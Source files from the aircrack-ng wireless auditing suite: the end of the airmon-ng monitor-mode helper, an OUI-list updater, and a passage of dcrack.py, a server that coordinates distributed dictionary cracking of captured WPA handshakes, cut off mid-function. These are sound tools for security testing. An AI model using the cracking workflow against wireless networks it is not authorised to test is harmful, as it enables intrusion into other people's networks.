if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
EXTENDED="\t\tBlacklist r8187 and use rtl8187 from the kernel"
else
EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
fi
elif [ "$DRIVER" = "r8187l" ]; then
if [ "$KVMAJOR" = "26" ] && [ "$KVMINOR" -ge "29" ]; then
EXTENDED="\t\tBlacklist r8187l and use rtl8187 from the kernel"
else
EXTENDED="\t\tUpgrade to kernel 2.6.29 or install compat-wireless stable"
fi
fi
#okay, now I take overload to a new level
#if there is nothing else here to complain about, show mode
if [ -z "${EXTENDED}" ]; then
if [ -r "/sys/class/net/${1}/type" ]; then
NET_TYPE="$(cat "/sys/class/net/${1}/type")"
elif [ -r "/sys/class/ieee80211/${PHYDEV}/device/net/${1}/type" ]; then
NET_TYPE="$(cat "/sys/class/ieee80211/${PHYDEV}/device/net/${1}/type")"
fi
if [ -n "${NET_TYPE}" ]; then
if [ "${NET_TYPE}" = "803" ]; then
EXTENDED="mode monitor"
elif [ "${NET_TYPE}" = "1" ]; then
EXTENDED="mode managed"
else
EXTENDED="mode ${NET_TYPE} unknown"
fi
fi
fi
}
scanProcesses() {
#this test means it errored and said it was busybox since busybox doesn't print without error
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
if (ps -A 2>&1 | grep -q BusyBox)
then
#busybox in openwrt cannot handle -A but its output by default is -A
psopts=""
else
psopts="-A"
fi
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
if ( ps -o comm= 2>&1 | grep -q BusyBox )
then
#busybox in openwrt cannot handle -o
pso="0"
else
pso="1"
fi
PROCESSES="wpa_action\|wpa_supplicant\|wpa_cli\|dhclient\|ifplugd\|dhcdbd\|dhcpcd\|udhcpc\|NetworkManager\|knetworkmanager\|avahi-autoipd\|avahi-daemon\|wlassistant\|wifibox\|net_applet\|wicd-daemon\|wicd-client\|iwd\|hostapd"
#PS_ERROR="invalid\|illegal"
if [ "${1}" = "kill" ]; then
if [ -x "$(command -v systemctl 2>&1)" ]; then
for service in network-manager NetworkManager avahi-daemon wicd; do
if systemctl status "${service}" > /dev/null 2>&1; then
killservice=1
until systemctl stop "${service}" 2> /dev/null > /dev/null; do
killservice=$((killservice + 1))
if [ ${killservice} -gt 5 ]; then
printf "Failed to stop %s, please stop it on your own.\n" "${service}"
break
fi
done
fi
done
fi
servicecmd=""
if [ -x "$(command -v service 2>&1)" ]; then
servicecmd="service"
elif [ -x "$(command -v rc-service 2>&1)" ]; then
servicecmd="rc-service"
fi
if [ -n "${servicecmd}" ]; then
for service in network-manager NetworkManager avahi-daemon wicd; do
if "${servicecmd}" "${service}" status 2> /dev/null > /dev/null; then
killservice=1
until "${servicecmd}" "${service}" stop 2> /dev/null > /dev/null; do
killservice=$((killservice + 1))
if [ ${killservice} -gt 5 ]; then
printf "Failed to stop %s, please stop it on your own.\n" "${service}"
break
fi
done
fi
done
fi
fi
unset match
if [ "${pso}" = 1 ]; then
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
match="$(ps ${psopts} -o comm= | grep ${PROCESSES} | grep -vc grep)"
elif [ "${pso}" = 0 ]; then
#openwrt busybox grep hits on itself so we -v it out
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
match="$(ps ${psopts} | grep ${PROCESSES} | grep -vc grep)"
fi
if [ "${match}" -gt 0 ] && [ "${1}" != "kill" ]; then
printf "Found %s processes that could cause trouble.\n" "${match}"
printf "Kill them using 'airmon-ng check kill' before putting\n"
printf "the card in monitor mode, they will interfere by changing channels\n"
printf "and sometimes putting the interface back in managed mode\n\n"
else
if [ "${1}" != "kill" ] && [ -n "${1}" ]; then
printf "No interfering processes found\n"
return
fi
fi
if [ "${match}" -gt 0 ]; then
if [ "${1}" = "kill" ]; then
printf "Killing these processes:\n\n"
fi
if [ "${pso}" = "1" ]; then
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
ps ${psopts} -o pid=PID -o comm=Name | grep "${PROCESSES}\|PID"
else
#openwrt busybox grep hits on itself so we -v it out
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
ps ${psopts} | grep "${PROCESSES}\|PID | grep -v grep"
fi
if [ "${1}" = "kill" ]; then
#we have to use signal 9 because things like nm actually respawn wpa_supplicant too quickly
if [ "${pso}" = "1" ]; then
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
for pid in $(ps ${psopts} -o pid= -o comm= | grep "${PROCESSES}" | awk '{print $1}'); do
kill -9 "${pid}"
done
else
#openwrt busybox grep hits on itself so we -v it out
# this was written with ps because some systems don't have pgrep. Adding another branch that uses pgrep won't help remove this code
# shellcheck disable=2009
for pid in $(ps ${psopts} | grep "${PROCESSES}" | grep -v grep | awk '{print $1}'); do
kill -9 "${pid}"
done
fi
fi
fi
printf "\n"
}
listInterfaces() {
unset iface_list
if [ -d '/sys/class/net' ]; then
# refactor this for globs, but make sure it works across shells
# shellcheck disable=2045
for iface in $(ls -1 /sys/class/net)
do
if [ -f "/sys/class/net/${iface}/uevent" ]; then
if grep -q 'DEVTYPE=wlan' "/sys/class/net/${iface}/uevent"
then
iface_list="${iface_list} ${iface}"
fi
fi
done
fi
if [ "${WIRELESS_TOOLS}" = "1" ] && [ -x "$(command -v sort 2>&1)" ]; then
for iface in $(iwconfig 2> /dev/null | sed -e 's/^\(\w*\)\s.*/\1/' -e '/^$/d'); do
iface_list="${iface_list} ${iface}"
done
# sort needs newline separated, convert back after
iface_list="$(printf "%s" "${iface_list}" | sed 's/ /\n/g' | sort -bu | sed ':a;N;$!ba;s/\n/ /g')"
fi
}
getPhy() {
if [ -z "${1}" ]; then
return
fi
if [ "${MAC80211}" = "0" ]; then
PHYDEV="null"
return
fi
if [ -r "/sys/class/net/${1}/phy80211/name" ]; then
PHYDEV="$(cat "/sys/class/net/${1}/phy80211/name")"
fi
if [ -d "/sys/class/net/${1}/phy80211/" ] && [ -z "${PHYDEV}" ]; then
# refactor this for globs, but be careful of shell support
# shellcheck disable=2012
PHYDEV="$(ls -l "/sys/class/net/${1}/phy80211" | sed 's/^.*\/\([a-zA-Z0-9_-]*\)$/\1/')"
fi
}
checkvm() {
#this entire section of code is completely stolen from Carlos Perez's work in checkvm.rb for metasploit and rewritten (poorly) in sh
#check loaded modules
if [ -x "$(command -v lsmod 2>&1)" ]; then
lsmod_data="$(lsmod 2>&1 | awk '{print $1}')"
if [ -n "${lsmod}" ]; then
printf "%s" "${lsmod_data}" | grep -iqE "vboxsf|vboxguest" 2> /dev/null && vm="VirtualBox"
printf "%s" "${lsmod_data}" | grep -iqE "vmw_ballon|vmxnet|vmw" 2> /dev/null && vm="VMware"
printf "%s" "${lsmod_data}" | grep -iqE "xen-vbd|xen-vnif" 2> /dev/null && vm="Xen"
printf "%s" "${lsmod_data}" | grep -iqE "virtio_pci|virtio_net" 2> /dev/null && vm="Qemu/KVM"
printf "%s" "${lsmod_data}" | grep -iqE "hv_vmbus|hv_blkvsc|hv_netvsc|hv_utils|hv_storvsc" && vm="MS Hyper-V"
[ -n "${vm}" ] && vm_from="lsmod"
fi
fi
#check scsi driver
if [ -z "${vm_from}" ]; then
if [ -r /proc/scsi/scsi ]; then
grep -iq "vmware" /proc/scsi/scsi 2> /dev/null && vm="VMware"
grep -iq "vbox" /proc/scsi/scsi 2> /dev/null && vm="VirtualBox"
[ -n "${vm}" ] && vm_from="/pro/scsi/scsi"
fi
fi
# Check IDE Devices
if [ -z "${vm_from}" ]; then
if [ -d /proc/ide ]; then
ide_model="$(cat /proc/ide/hd*/model)"
printf "%s" "${ide_model}" | grep -iq "vbox" 2> /dev/null && vm="VirtualBox"
printf "%s" "${ide_model}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
printf "%s" "${ide_model}" | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
printf "%s" "${ide_model}" | grep -iqE "virtual (hd|cd)" 2> /dev/null && vm="Hyper-V/Virtual PC"
[ -n "${vm}" ] && vm_from="ide_model"
fi
fi
# Check using lspci
if [ -z "${vm_from}" ] && [ "${LSPCI}" = "1" ]; then
lspci_data="$(lspci 2>&1)"
printf "%s" "${lspci_data}" | grep -iq "vmware" 2> /dev/null && vm="VMware"
printf "%s" "${lspci_data}" | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
[ -n "${vm}" ] && vm_from="lspci"
fi
# Xen bus check
## XXX: Removing unsafe check
# this check triggers if CONFIG_XEN_PRIVILEGED_GUEST=y et al are set in kconfig (debian default) even in not actually a guest
# Check using lscpu
if [ -z "${vm_from}" ]; then
if [ -x "$(command -v lscpu 2>&1)" ]; then
lscpu_data="$(lscpu 2>&1)"
printf "%s" "${lscpu_data}" | grep -iq "Xen" 2> /dev/null && vm="Xen"
printf "%s" "${lscpu_data}" | grep -iq "Microsoft" 2> /dev/null && vm="MS Hyper-V"
[ -n "${vm}" ] && vm_from="lscpu"
fi
fi
#Check vmnet
if [ -z "${vm_from}" ]; then
if [ -e /dev/vmnet ]; then
vm="VMware"
vm_from="/dev/vmnet"
fi
fi
#Check dmi info
if [ -z "${vm_from}" ]; then
if [ -x "$(command -v dmidecode 2>&1)" ]; then
dmidecode 2>&1 | grep -iq "microsoft corporation" 2> /dev/null && vm="MS Hyper-V"
dmidecode 2>&1 | grep -iq "vmware" 2> /dev/null && vm="VMware"
dmidecode 2>&1 | grep -iq "virtualbox" 2> /dev/null && vm="VirtualBox"
dmidecode 2>&1 | grep -iq "qemu" 2> /dev/null && vm="Qemu/KVM"
dmidecode 2>&1 | grep -iq "domu" 2> /dev/null && vm="Xen"
[ -n "${vm}" ] && vm_from="dmi_info"
fi
fi
# Check dmesg Output
if [ -z "${vm_from}" ]; then
if [ -x "$(command -v dmesg 2>&1)" ]; then
dmesg | grep -iqE "vboxbios|vboxcput|vboxfacp|vboxxsdt|(vbox cd-rom)|(vbox harddisk)" && vm="VirtualBox"
dmesg | grep -iqE "(vmware virtual ide)|(vmware pvscsi)|(vmware virtual platform)" && vm="VMware"
dmesg | grep -iqE "(xen_mem)|(xen-vbd)" && vm="Xen"
dmesg | grep -iqE "(qemu virtual cpu version)" && vm="Qemu/KVM"
[ -n "${vm}" ] && vm_from="dmesg"
fi
fi
checkvm_status="run"
}
kernel_breakage_check() {
# Kernel 5.15 has broken radiotap headers due to commit 8c89f7b3d3f2. They are fixed in 5.15.5
# See https://lore.kernel.org/all/20211109100203.c61007433ed6.I1dade57aba7de9c4f48d68249adbae62636fd98c@changeid/
if [ "${KVMAJOR}" = "515" ] && [ "${KVMINOR}" -lt "5" ]; then
printf "WARNING: This kernel likely has broken radiotap headers\n"
printf "\ttherefore breaking tools relying on packet capture.\n"
printf "\tThis is fixed in kernel 5.15.5 and later versions.\n\n"
fi
}
#end function definitions
#begin execution
#here we check for any phys that have no interfaces to pick up The Lost Phys
handleLostPhys
listInterfaces
# Kernel version checks are used unconditionally so just set it during main
if [ -r '/proc/version_signature' ]; then
#ubuntu and derivatives put the real kernel version here
KV="$(awk '{print $3}' /proc/version_signature)"
else
KV="$(uname -r | awk -F'-' '{print $1}')"
fi
KVMAJOR="$(printf "%s" "${KV}" | awk -F'.' '{print $1$2}')"
KVMINOR="$(printf "%s" "${KV}" | awk -F'.' '{print $3}')"
if [ "${KVMINOR}" = "0" ]; then
# debian and derivatives always have 0 in minor for uname -r so we extract from uname -v
KV="$(uname -v | awk '{sub(/-.*/, "", $4); print $4}')"
KVMINOR="$(printf "%s" "${KV}" | awk -F'.' '{print $3}')"
#make sure we extracted a number
if ! printf "%s" "${KVMINOR}" | grep -q '[[:digit:]]*'; then
KVMINOR='0'
fi
fi
if [ "${1}" = "check" ] || [ "${1}" = "start" ]; then
if [ "${VERBOSE}" = "0" ]; then
# if verbose is set this was already run
# but it's important so run it for everyone
kernel_breakage_check
fi
if [ "${2}" = "kill" ]; then
#if we are killing, tell scanProcesses that
scanProcesses "${2}"
exit
elif [ "${1}" = "start" ]; then
scanProcesses
else
scanProcesses
exit
fi
fi
if [ "$#" != "0" ]; then
if [ "${1}" != "start" ] && [ "${1}" != "stop" ]; then
usage
fi
if [ -z "${2}" ]; then
usage
fi
fi
#start/stop interface existence check
if [ "$1" = "start" ] || [ "$1" = "stop" ]; then
if ! ifaceExists "${2}"; then
printf "Requested device \"%s\" does not exist.\n" "${2}"
printf "Run %s without any arguments to see available interfaces\n" "${0}"
exit 1
fi
fi
#startup checks complete, headers then main
if [ "$DEBUG" = "1" ]; then
if [ -x "$(command -v readlink 2>&1)" ]; then
printf "/bin/sh -> %s\n" "$(readlink -f /bin/sh)"
if $(readlink -f /bin/sh) --version > /dev/null 2>&1
then
printf "%s\n" "$($(readlink -f /bin/sh) --version)"
fi
else
ls -l /bin/sh
if /bin/sh --version > /dev/null 2>&1
then
/bin/sh --version
fi
fi
fi
if [ "$VERBOSE" = "1" ]; then
if [ -n "$(command -v lsb_release 2> /dev/null)" ]; then
lsb_release -a | grep -iv 'n/a'
printf "\n"
fi
uname -a
kernel_breakage_check
if iw reg get | grep -q 'country 00:'; then
printf "Regulatory Domain appears to be unset, please consider setting it with 'iw reg set XX'\n"
printf "https://wireless.wiki.kernel.org/en/users/documentation/iw#updating_your_regulatory_domain\n"
else
for regdomain in $(iw reg get | awk '/country/ {print substr($2,1,length($2)-1)}' | sort -u); do
printf "Regulatory Domain set to %s, see 'iw reg get' for details\n" "${regdomain}"
done
fi
checkvm
if [ -n "${vm}" ]; then
printf "Detected VM using %s\n" "${vm_from}"
printf "This appears to be a %s Virtual Machine\n" "${vm}"
printf "If your system supports VT-d, it may be possible to use PCI devices\n"
printf "If your system does not support VT-d, you can only use USB wifi cards\n"
fi
printf "\nK indicates driver is from %s\n" "$(uname -r)"
if [ "${MODPROBE}" = "1" ]; then
modprobe compat > /dev/null 2>&1
if [ -r /sys/module/compat/parameters/compat_version ]; then
printf "C indicates driver is from %s\n" "$(cat /sys/module/compat/parameters/compat_version)"
fi
fi
printf "V indicates driver comes directly from the vendor, almost certainly a bad thing\n"
printf "S indicates driver comes from the staging tree, these drivers are meant for reference not actual use, BEWARE\n"
printf "? indicates we do not know where the driver comes from... report this\n\n"
fi
if [ "${VERBOSE}" = "1" ]; then
printf "\nX[PHY]Interface\t\tDriver[Stack]-FirmwareRev\t\tChipset\t\t\t\t\t\t\t\t\t\tExtended Info\n\n"
else
printf "PHY\tInterface\tDriver\t\tChipset\n\n"
fi
for iface in $(printf "%s" "${iface_list}"); do
unset ethtool_output DRIVER FROM FIRMWARE STACK MADWIFI MAC80211 BUS BUSADDR BUSINFO DEVICEID CHIPSET EXTENDED NET_TYPE PHYDEV ifacet DRIVERt FIELD1 FIELD1t FIELD2 FIELD2t CHIPSETt
#add a RUNNING check here and up the device if it isn't already
ethtool_output="$(ethtool -i "${iface}" 2>&1)"
if [ "$ethtool_output" != "Cannot get driver information: Operation not supported" ]; then
getStack "${iface}"
getBus "${iface}"
getPhy "${iface}"
getDriver "${iface}"
getChipset "${iface}"
if [ "${VERBOSE}" = "1" ]; then
getFrom "${iface}"
getFirmware "${iface}"
getExtendedInfo "${iface}"
fi
else
CHIPSET="ethtool failed... driver is broken"
fi
#yes this really is the main output loop
if [ "${VERBOSE}" = "1" ]; then
#beautify output spacing (within reason)
FIELD1="${FROM}[${PHYDEV}]${iface}"
if [ ${#FIELD1} -gt 15 ]; then
FIELD1t="\t"
else
FIELD1t="\t\t"
fi
FIELD2="${DRIVER}[${STACK}]-${FIRMWARE}"
if [ ${#FIELD2} -gt 28 ]; then
FIELD2t="\t"
else
FIELD2t="\t\t"
fi
if [ -n "${EXTENDED}" ]; then
if [ ${#CHIPSET} -gt 70 ]; then
CHIPSETt="\t"
elif [ ${#CHIPSET} -gt 63 ]; then
CHIPSETt="\t\t"
elif [ ${#CHIPSET} -gt 56 ]; then
CHIPSETt="\t\t\t"
elif [ ${#CHIPSET} -gt 49 ]; then
CHIPSETt="\t\t\t\t"
elif [ ${#CHIPSET} -gt 39 ]; then
CHIPSETt="\t\t\t\t\t"
elif [ ${#CHIPSET} -gt 35 ]; then
CHIPSETt="\t\t\t\t\t\t"
# XXX YUP, 28 and 21 are now that same. mostly because this is all hardcoded and sucks
elif [ ${#CHIPSET} -gt 28 ]; then
CHIPSETt="\t\t\t\t\t\t\t"
elif [ ${#CHIPSET} -gt 21 ]; then
CHIPSETt="\t\t\t\t\t\t\t"
elif [ ${#CHIPSET} -gt 14 ]; then
CHIPSETt="\t\t\t\t\t\t\t\t"
elif [ ${#CHIPSET} -gt 7 ]; then
CHIPSETt="\t\t\t\t\t\t\t\t\t"
else
CHIPSETt="\t\t\t\t\t\t\t\t\t\t"
fi
fi
# just plain hard to read
# shellcheck disable=2059
printf "${FROM}[${PHYDEV}]${iface}${FIELD1t}${DRIVER}[${STACK}]-${FIRMWARE}${FIELD2t}${CHIPSET}${CHIPSETt}${EXTENDED}\n"
else
#beautify output spacing (within reason, interface/driver max length is 15 and phy max length is 7))
if [ ${#DRIVER} -gt 7 ]; then
DRIVERt="\t"
else
DRIVERt="\t\t"
fi
if [ ${#iface} -gt 7 ]; then
ifacet="\t"
else
ifacet="\t\t"
fi
# just plain hard to read
# shellcheck disable=2059
printf "${PHYDEV}\t${iface}${ifacet}${DRIVER}${DRIVERt}${CHIPSET}\n"
fi
if [ "${DRIVER}" = "wl" ]; then
if [ "${1}" = "start" ] && [ "${2}" = "${iface}" ]; then
startwlIface "${iface}"
fi
if [ "${1}" = "stop" ] && [ "${2}" = "${iface}" ]; then
stopwlIface "${iface}"
fi
elif [ "${MAC80211}" = "1" ]; then
if [ "${1}" = "start" ] && [ "${2}" = "${iface}" ]; then
startMac80211Iface "${iface}"
fi
if [ "${1}" = "stop" ] && [ "${2}" = "${iface}" ]; then
stopMac80211Iface "${iface}"
fi
fi
done
#end with some space
printf "\n" |
|
aircrack-ng/scripts/airodump-ng-oui-update | #!/bin/sh
CURL=`which curl 2>/dev/null`
WGET=`which wget 2>/dev/null`
OUI_DOWNLOAD_URL="http://standards-oui.ieee.org/oui.txt"
OUI_PATH0="/etc/aircrack-ng"
OUI_PATH1="/usr/local/etc/aircrack-ng"
OUI_PATH2="/usr/share/aircrack-ng"
if [ -d "$OUI_PATH0" ]; then
OUI_PATH="$OUI_PATH0"
elif [ -d "$OUI_PATH1" ]; then
OUI_PATH="$OUI_PATH1"
elif [ -d "$OUI_PATH2" ]; then
OUI_PATH="$OUI_PATH2"
else
# default
OUI_PATH="$OUI_PATH0"
fi
AIRODUMP_NG_OUI="${OUI_PATH}/airodump-ng-oui.txt"
OUI_IEEE="${OUI_PATH}/oui.txt"
USERID=""
# Make sure the user is root
if [ x"`which id 2> /dev/null`" != "x" ]
then
USERID="`id -u 2> /dev/null`"
fi
if [ x$USERID = "x" -a x$(id -ru) != "x" ]
then
USERID=$(id -ru)
fi
if [ x$USERID != "x" -a x$USERID != "x0" ]
then
echo Run it as root ; exit ;
fi
if [ ! -d "${OUI_PATH}" ]; then
mkdir -p ${OUI_PATH}
fi
if [ ${CURL} ] || [ ${WGET} ]; then
# Delete previous partially downloaded file (if the script was aborted)
rm -f ${OUI_IEEE} >/dev/null 2>/dev/null
# Download it
echo "[*] Downloading IEEE OUI file..."
if [ ${WGET} ]; then
${WGET} ${OUI_DOWNLOAD_URL} -O ${OUI_IEEE} >/dev/null 2>/dev/null
else
${CURL} -L ${OUI_DOWNLOAD_URL} > ${OUI_IEEE} 2>/dev/null
fi
if [ "${?}" -ne 0 ]; then
echo "[*] Error: Failed to download OUI list, aborting..."
exit 1
fi
# Parse the downloaded OUI list
echo "[*] Parsing OUI file..."
# Keep the previous file
if [ -f "${OUI_DOWNLOADED}" ]; then
mv ${AIRODUMP_NG_OUI} ${OUI}-old
fi
# Parse it
grep "(hex)" ${OUI_IEEE} | sed 's/^[ \t]*//g;s/[ \t]*$//g' > ${AIRODUMP_NG_OUI}
if [ "${?}" -ne 0 ]; then
echo "[*] Error: Failed to parse OUI, aborting..."
exit 1
fi
# Cleanup
rm -f ${OUI_IEEE}
echo "[*] Airodump-ng OUI file successfully updated"
else
if [ -f "${OUI}" ]; then
echo "[*] Please install curl or wget to update OUI list"
else
echo "[*] Please install curl or wget to install OUI list"
fi
exit 1
fi
exit 0 |
|
Python | aircrack-ng/scripts/dcrack.py | #!/usr/bin/env python
import sys
import os
import subprocess
import random
import time
import sqlite3
import threading
import hashlib
import gzip
import json
import datetime
import re
import socket
import tempfile
import errno
if sys.version_info[0] >= 3:
from socketserver import ThreadingTCPServer
from urllib.request import urlopen, URLError
from urllib.parse import urlparse, parse_qs
from http.client import HTTPConnection
from http.server import SimpleHTTPRequestHandler
else:
from SocketServer import ThreadingTCPServer
from urllib2 import urlopen, URLError
from urlparse import urlparse, parse_qs
from httplib import HTTPConnection
from SimpleHTTPServer import SimpleHTTPRequestHandler
bytes = lambda a, b : a
port = 1337
url = None
cid = None
tls = threading.local()
nets = {}
cracker = None
class ServerHandler(SimpleHTTPRequestHandler):
def do_GET(s):
result = s.do_req(s.path)
if not result:
return
s.send_response(200)
s.send_header("Content-type", "text/plain")
s.end_headers()
s.wfile.write(bytes(result, "UTF-8"))
def do_POST(s):
POST_failure = True
# Read data here and pass it, so we can handle chunked encoding
if ("dict" in s.path) or ("cap" in s.path):
tmp_file = "/tmp/" + next(tempfile._get_candidate_names())
with open(tmp_file, "wb") as fid:
if s.headers.get('Content-Length'):
cl = int(s.headers['Content-Length'])
fid.write(s.rfile.read(cl))
POST_failure = False
# elif s.headers.get('Transfer-Encoding') and s.headers['Transfer-Encoding'] == "chunked":
elif s.headers.get('Transfer-Encoding') == "chunked":
# With Python3, we need to handle chunked encoding
# If someone has a better solution, I'm all ears
while True:
chunk_size_hex = ""
# Get size
while True:
c = s.rfile.read(1)
if sys.version_info[0] >= 3:
c = chr(c[0])
if c == '\r':
# Skip next char ('\n')
c = s.rfile.read(1)
break
chunk_size_hex += c
# If string is empty, that's the end of it
if not chunk_size_hex:
break
# Convert from hex to integer
chunk_size = int(chunk_size_hex, 16)
# Read the amount of bytes
fid.write(s.rfile.read(chunk_size))
POST_failure = False
if (POST_failure == False):
if ("dict" in s.path):
s.do_upload_dict(tmp_file)
if ("cap" in s.path):
s.do_upload_cap(tmp_file)
try:
s.send_response(200)
s.send_header("Content-type", "text/plain")
s.end_headers()
if POST_failure == False:
s.wfile.write(bytes("OK", "UTF-8"))
else:
s.wfile.write(bytes("NO", "UTF-8"))
except BrokenPipeError as bpe:
# Connection closed, ignore
pass
def do_upload_dict(s, filename):
con = get_con()
f = "dcrack-dict"
c = f + ".gz"
os.rename(filename, c)
decompress(f)
h = get_sha1sum_string(f)
with open(f, "rb") as fid:
for i, l in enumerate(fid): pass
i += 1
n = "%s-%s.txt" % (f, h)
os.rename(f, n)
os.rename(c, "%s.gz" % n)
c = con.cursor()
c.execute("INSERT into dict values (?, ?, 0)", (h, i))
con.commit()
def do_upload_cap(s, filename):
tmp_cap = "/tmp/" + next(tempfile._get_candidate_names()) + ".cap"
os.rename(filename, tmp_cap + ".gz")
decompress(tmp_cap)
# Check file is valid
output = subprocess.check_output(['wpaclean', tmp_cap + ".tmp", tmp_cap])
try:
os.remove(tmp_cap + ".tmp")
except:
pass
output_split = output.splitlines()
if len(output_split) > 2:
# We got more than 2 lines, which means there is a network
# in there with a WPA/2 PSK handshake
os.rename(tmp_cap + ".gz", "dcrack.cap.gz")
os.rename(tmp_cap, "dcrack.cap")
else:
# If nothing in the file, just delete it
os.remove(tmp_cap)
os.remove(tmp_cap + ".gz")
def do_req(s, path):
con = get_con()
c = con.cursor()
c.execute("""DELETE from clients where
(strftime('%s', datetime()) - strftime('%s', last))
> 300""")
con.commit()
if ("ping" in path):
return s.do_ping(path)
if ("getwork" in path):
return s.do_getwork(path)
if ("dict" in path and "status" in path):
return s.do_dict_status(path)
if ("dict" in path and "set" in path):
return s.do_dict_set(path)
if ("dict" in path):
return s.get_dict(path)
if ("net" in path and "/crack" in path):
return s.do_crack(path)
if ("net" in path and "result" in path):
return s.do_result(path)
if ("cap" in path):
return s.get_cap(path)
if ("status" in path):
return s.get_status()
if ("remove" in path):
return s.remove(path)
return "error"
def remove(s, path):
p = path.split("/")
n = p[4].upper()
not_found = 0
# Validate BSSID
if not is_bssid_value(n):
return "NO"
con = get_con()
# Delete from nets
c = con.cursor()
c.execute("SELECT * from nets where bssid = ?", (n,))
r = c.fetchall()
if r:
con.commit()
not_found += 1
c = con.cursor()
c.execute("DELETE from nets where bssid = ?", (n,))
con.commit()
# Delete from works
c = con.cursor()
c.execute("SELECT * from work where net = ?", (n,))
r = c.fetchall()
if r:
con.commit()
not_found += 1
c = con.cursor()
c.execute("DELETE from work where net = ?", (n,))
con.commit()
# If both failed, return NO.
if not_found == 2:
return "NO"
# Otherwise, return OK
return "OK"
def get_status(s):
con = get_con()
c = con.cursor()
c.execute("SELECT * from clients")
clients = [r['speed'] for r in c.fetchall()]
nets = []
c.execute("SELECT * from dict where current = 1")
dic = c.fetchone()
c.execute("SELECT * from nets")
for r in c.fetchall():
n = { "bssid" : r['bssid'] }
if r['pass']:
n["pass"] = r['pass']
if r['state'] != 2:
n["tot"] = dic["lines"]
did = 0
cur = con.cursor()
cur.execute("""SELECT * from work where net = ?
and dict = ? and state = 2""",
(n['bssid'], dic['id']))
for row in cur.fetchall():
did += row['end'] - row['start']
n["did"] = did
nets.append(n)
d = { "clients" : clients, "nets" : nets }
return json.dumps(d)
def do_result_pass(s, net, pw):
con = get_con()
pf = "dcrack-pass.txt"
with open(pf, "w") as fid:
fid.write(pw)
fid.write("\n")
cmd = ["aircrack-ng", "-w", pf, "-b", net, "-q", "dcrack.cap"]
p = subprocess.Popen(cmd, stdout=subprocess.PIPE, \
stdin=subprocess.PIPE)
res = p.communicate()[0]
res = str(res)
os.remove(pf)
if not "KEY FOUND" in res:
return "error"
s.net_done(net)
c = con.cursor()
c.execute("UPDATE nets set pass = ? where bssid = ?", \
(pw, net))
con.commit()
return "OK"
def net_done(s, net):
con = get_con()
c = con.cursor()
c.execute("UPDATE nets set state = 2 where bssid = ?",
(net,))
c.execute("DELETE from work where net = ?", (net,))
con.commit()
def do_result(s, path):
con = get_con()
p = path.split("/")
n = p[4].upper()
if not is_bssid_value(n):
return "NO"
x = urlparse(path)
qs = parse_qs(x.query)
# TODO: Verify client ID sending it
if "pass" in qs:
return s.do_result_pass(n, qs['pass'][0])
wl = qs['wl'][0]
c = con.cursor()
c.execute("SELECT * from nets where bssid = ?", (n,))
r = c.fetchone()
if r and r['state'] == 2:
return "Already done"
c.execute("""UPDATE work set state = 2 where
net = ? and dict = ? and start = ? and end = ?""",
(n, wl, qs['start'][0], qs['end'][0]))
con.commit()
if c.rowcount == 0:
c.execute("""INSERT into work values
(NULL, ?, ?, ?, ?, datetime(), 2)""",
(n, wl, qs['start'][0], qs['end'][0]))
con.commit()
# check status
c.execute("""SELECT * from work where net = ? and dict = ?
and state = 2 order by start""", (n, wl))
i = 0
r = c.fetchall()
for row in r:
if i == row['start']:
i = row['end']
else:
break
c.execute("SELECT * from dict where id = ? and lines = ?",
(wl, i))
r = c.fetchone()
if r:
s.net_done(n)
return "OK"
def get_cap(s, path):
return s.serve_file("dcrack.cap.gz")
def get_dict(s, path):
p = path.split("/")
n = p[4]
fn = "dcrack-dict-%s.txt.gz" % n
return s.serve_file(fn)
def serve_file(s, fn):
s.send_response(200)
s.send_header("Content-type", "application/x-gzip")
s.end_headers()
# XXX openat
with open(fn, "rb") as fid:
s.wfile.write(fid.read())
return None
def do_crack(s, path):
con = get_con()
p = path.split("/")
n = p[4].upper()
# Validate BSSID
if not is_bssid_value(n):
return "NO"
# Only add network if it isn't already in there
# Update it if it failed cracking only
c = con.cursor()
c.execute("SELECT * from nets where bssid = ?", (n,))
r = c.fetchone()
if r == None:
# Not in there, add it
c.execute("INSERT into nets values (?, NULL, 1)", (n,))
con.commit()
return "OK"
# Network already exists but has failed cracking
if r['state'] == 2 and r['pass'] == None:
c.execute("UPDATE nets SET state = 1 WHERE bssid = ?", (n,))
con.commit()
return "OK"
# State == 1: Just added or being worked on
# State == 2 and Pass exists: Already successfully cracked
con.commit()
return "NO"
def do_dict_set(s, path):
con = get_con()
p = path.split("/")
h = p[4]
# Validate hash
if not is_sha1sum(h):
return "NO"
c = con.cursor()
c.execute("UPDATE dict set current = 0")
c.execute("UPDATE dict set current = 1 where id = ?", (h,))
con.commit()
return "OK"
def do_ping(s, path):
con = get_con()
p = path.split("/")
cid = p[4]
x = urlparse(path)
qs = parse_qs(x.query)
speed = qs['speed'][0]
c = con.cursor()
c.execute("SELECT * from clients where id = ?", (cid,))
r = c.fetchall()
if (not r):
c.execute("INSERT into clients values (?, ?, datetime())",
(cid, int(speed)))
else:
c.execute("""UPDATE clients set speed = ?,
last = datetime() where id = ?""",
(int(speed), cid))
con.commit()
return "60"
def try_network(s, net, d):
con = get_con()
c = con.cursor()
c.execute("""SELECT * from work where net = ? and dict = ?
order by start""", (net['bssid'], d['id']))
r = c.fetchall()
s = 5000000
i = 0
found = False
for row in r:
if found:
if i + s > row['start']:
s = row['start'] - i
break
if (row['start'] <= i <= row['end']):
i = row['end']
else:
found = True
if i + s > d['lines']:
s = d['lines'] - i
if s == 0:
return None
c.execute("INSERT into work values (NULL, ?, ?, ?, ?, datetime(), 1)",
(net['bssid'], d['id'], i, i + s))
con.commit()
crack = { "net" : net['bssid'], \
